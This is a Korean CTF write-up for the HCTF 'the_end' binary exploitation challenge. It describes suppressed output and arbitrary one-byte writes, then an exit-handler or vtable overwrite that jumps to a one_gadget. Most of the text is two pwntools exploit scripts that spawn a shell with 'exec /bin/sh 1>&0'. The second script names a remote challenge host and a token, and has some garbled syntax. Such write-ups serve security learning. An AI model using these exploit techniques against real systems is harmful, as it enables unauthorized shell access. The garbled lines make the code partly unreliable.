hctf - the_end

close(1)

close(2)

이 두함수 때문에 정적 출력이 되지 않는다.

그리고 어느 주소에나 1바이트씩 쓸 수 있다.

내가 생각한 exploit 방법

함수의 마지막에 exit를 불러오는데 exit를 불러오면

__exit_funcs라는 라이브러리 심볼 구조체를 가지고

run_exit_handlers’에 들어가는데 이때 ‘__rtld_global+3848’의 주소를 실행한다

따라서 __rtld_global+3848에 oneshot 주소를 넣으면 쉘을 딸수 있을거라 생각했다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
r=process('./the_end',env={'LD_PRELOAD':'./libc-2.23.so'})
e=ELF('./the_end')
libc=e.libc
ld=ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
 
sla=r.sendlineafter
ru=r.recvuntil
sa=r.sendafter
s=r.send
 
ru('gift ')
leak=int(ru(',').replace(',',''),16)-libc.symbols['sleep']
log.info(hex(leak))
 
for i in range(5):
        s(p64(leak+0x5f0f48+i))
        s(p64(leak+0xf02a4)[i])
 
r.sendline('exec /bin/sh 1>&0')
 
r.interactive()
cs

원래 풀이법

vtable 만들어서 푼다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level="debug"
 
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
= process('the_end',env={'LD_PRELOAD':'./libc-2.23.so'})
#p = remote('127.0.0.1',1234)
 
rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
 
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
 
libc_base = long(sleep_ad,16- libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8
 
fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0
 
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
 
# gdb.attach(p)
 
for i in range(2):
        p.send(p64(vtables+i))
        p.send(p64(fake_vtable)[i])
 
for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])
 
p.sendline("exec /bin/sh 1>&0")
 
p.interactive()
cs